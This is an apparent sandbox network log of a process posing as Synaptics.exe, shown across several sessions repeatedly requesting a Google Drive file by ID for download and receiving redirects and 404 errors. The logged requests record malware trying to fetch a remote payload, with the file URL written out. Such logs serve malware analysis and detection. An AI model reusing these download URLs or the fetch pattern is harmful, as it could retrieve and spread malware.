2025-01-02 19:28:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-M5Y3zkmeUwKzBl_Ayom2HQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49961	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:36 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:37 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5kC9NtguZwt3Y6fCIkFVimUDreUg5odSIRx3MB6-ScXvTXv8aAMltgAXIzai55fyT9 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:37 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-X90ySNIzi51vqLifYCcL8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:37 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:37 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 50 71 73 51 2d 33 6e 36 49 74 33 41 54 46 78 72 33 6e 4c 68 46 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="PqsQ-3n6It3ATFxr3nLhFg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:37 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49964	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:37 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:37 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5_7aj0mKdqOHYKEcn2Sl7UYDq0zMDjIWBl3Q5sSooBA473cILc8ukFhd0EEenG2XABlywg0jE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:37 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-iVk1KEUfsulp47rNEYvgzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:37 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:37 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 37 45 30 63 34 52 39 75 53 34 55 79 4d 39 67 69 5f 31 61 49 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="y7E0c4R9uS4UyM9gi_1aIg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:37 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49963	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:37 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-zwpFltHwrQelUnA15td60w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49962	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:37 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-cxlPJcq4VuT9UPFt7Je-fw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49971	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:38 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JRG82Z7XN9a9_f6sJvJn_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49975	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:38 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:38 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6u0SrqI_E9__MmFys1BmNwzPBOvJMm0atLGw_rJ70KaQ811DhZQqekXwf_1ZZopoUX Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:38 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-Ft9E0cd899FqK3lE9n5iVg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:38 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:38 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 64 6b 61 31 38 32 6d 75 52 45 58 44 6d 4d 47 47 33 67 63 44 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="bdka182muREXDmMGG3gcDg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:38 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49973	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:38 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:38 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7kKv6L9JVzlSW3EjgymZeJ6vsfdxiJi2dWaewNF9wC61YVpXBhF00ik90gjksvXCw8vS6Mdu4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:38 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Bk0XupIqhAKu2a2Gn-jSjQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:38 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:38 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 34 4c 46 4c 41 68 4e 33 72 75 59 65 70 5a 4a 69 49 56 66 6e 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="k4LFLAhN3ruYepZJiIVfng">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:38 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
